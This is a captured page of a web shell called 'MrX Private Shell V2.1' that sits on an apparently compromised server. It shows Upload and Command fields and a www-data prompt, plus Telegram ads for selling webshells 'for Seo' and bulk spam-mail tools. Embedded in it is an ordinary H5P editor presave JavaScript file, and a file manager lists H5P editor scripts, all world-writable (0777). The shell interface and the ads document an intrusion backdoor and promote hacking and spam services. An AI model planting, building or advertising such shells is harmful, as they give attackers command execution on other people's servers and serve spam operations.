__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
var H5PEditor = H5PEditor || {};
var H5PPresave = H5PPresave || {};

H5PEditor.Presave = (function (Editor) {
  "use strict";

  /**
   * Presave structure
   *
   * @class
   */

  function Presave() {
    this.maxScore = 0;
  }

  /**
   * Process the given library and calculate the max score
   *
   * @public
   * @param {string} library
   * @param {object} content
   * @returns {H5PEditor.Presave}
   */
  Presave.prototype.process = function (library, content) {
    var self = this;

    library = Presave.sanitizeLibrary(library);
    if (Presave.libraryExists(library) === true) {
      H5PPresave[library](content, function (serverSideData) {
        if (typeof serverSideData !== 'object') {
          return;
        }
        if (serverSideData.hasOwnProperty('maxScore') && Presave.isInt(serverSideData.maxScore)) {
          self.maxScore += serverSideData.maxScore;
        }
      });
    }
    return this;
  };

  /**
   * Check if the score is valid or throw exception if not
   *
   * @static
   * @param score
   * @returns {boolean}
   * @throws {Presave.exceptions.InvalidMaxScoreException} If score is not valid
   */
  Presave.validateScore = function (score) {
    if (!Presave.isInt(score) || score < 0) {
      throw new this.exceptions.InvalidMaxScoreException();
    }
    return true;
  };

  /**
   * Check if a object has the given properties.
   *
   * @static
   * @param {object} content
   * @param {string|[]} requirements
   * @returns {boolean}
   */
  Presave.checkNestedRequirements = function (content, requirements) {
    if (typeof content === 'undefined') {
      return false;
    }
    if (typeof requirements === 'string') {
      requirements = requirements.split('.');
    }
    for (var i = 1; i < requirements.length; i++) {
      if (!content.hasOwnProperty(requirements[i])) {
        return false;
      }
      content = content[requirements[i]];
    }
    return true;
  };

  /**
   * Check if value is a integer
   *
   * @static
   * @param {*} value
   * @returns {boolean}
   */
  Presave.isInt = function (value) {
    return !isNaN(value) && (function (x) {
      return (x | 0) === x;
    })(parseFloat(value));
  };

  /**
   * Checks if given library exists as a presave function
   *
   * @static
   * @param {string} library
   * @returns {boolean}
   */
  Presave.libraryExists = function (library) {
    return typeof H5PPresave[library] !== 'undefined';
  };

  /**
   * Remove potential version number from library
   *
   * @param {string} library
   * @returns {*}
   */
  Presave.sanitizeLibrary = function (library) {
    return Editor.libraryFromString(library).machineName || library;
  };

  /**
   * Collection of common exceptions related to the logic handled in this file
   *
   * @type {{InvalidMaxScoreException: H5PEditor.Presave.exceptions.InvalidMaxScoreException, InvalidContentSemanticsException: H5PEditor.Presave.exceptions.InvalidContentSemanticsException}}
   */
  Presave.exceptions = {
    InvalidMaxScoreException: function (message) {
      this.message = typeof message === 'string' ? message : Editor.t('core', 'errorCalculatingMaxScore');
      this.name = 'InvalidMaxScoreError';
      this.code = 'H5P-P400';
    },
    InvalidContentSemanticsException: function (name, message) {
      this.message = typeof message === 'string' ? message : Editor.t('core', 'semanticsError', {':error': Editor.t('core', 'maxScoreSemanticsMissing')});
      this.name = typeof name === 'string' ? name : 'Invalid Content Semantics Error';
      this.code = 'H5P-P500';
    }
  };

  /**
   * C
   * @constructor
   * @type {Presave}
   */
  Presave.prototype.constructor = Presave;
  return Presave;
})(H5PEditor);

Filemanager

Name Type Size Permission Actions
h5p-hub-client.js File 331.61 KB 0777
h5peditor-av.js File 21.51 KB 0777
h5peditor-boolean.js File 1.99 KB 0777
h5peditor-coordinates.js File 5.1 KB 0777
h5peditor-dimensions.js File 4.26 KB 0777
h5peditor-editor.js File 18.25 KB 0777
h5peditor-file-uploader.js File 3.69 KB 0777
h5peditor-file.js File 8.54 KB 0777
h5peditor-form.js File 14 KB 0777
h5peditor-fullscreen-bar.js File 2.7 KB 0777
h5peditor-group.js File 10.74 KB 0777
h5peditor-html.js File 20.01 KB 0777
h5peditor-image-popup.js File 13.91 KB 0777
h5peditor-image.js File 8.1 KB 0777
h5peditor-init.js File 3.72 KB 0777
h5peditor-library-list-cache.js File 3.38 KB 0777
h5peditor-library-selector.js File 9.97 KB 0777
h5peditor-library.js File 16.98 KB 0777
h5peditor-list-editor.js File 24.34 KB 0777
h5peditor-list.js File 11.15 KB 0777
h5peditor-metadata-author-widget.js File 3.91 KB 0777
h5peditor-metadata-changelog-widget.js File 7.5 KB 0777
h5peditor-metadata.js File 14.66 KB 0777
h5peditor-none.js File 918 B 0777
h5peditor-number.js File 4.79 KB 0777
h5peditor-pre-save.js File 3.62 KB 0777
h5peditor-select.js File 3.24 KB 0777
h5peditor-selector-hub.js File 7.76 KB 0777
h5peditor-selector-legacy.js File 3.11 KB 0777
h5peditor-semantic-structure.js File 7.39 KB 0777
h5peditor-text.js File 3.15 KB 0777
h5peditor-textarea.js File 2.68 KB 0777
h5peditor.js File 53.63 KB 0777
Filemanager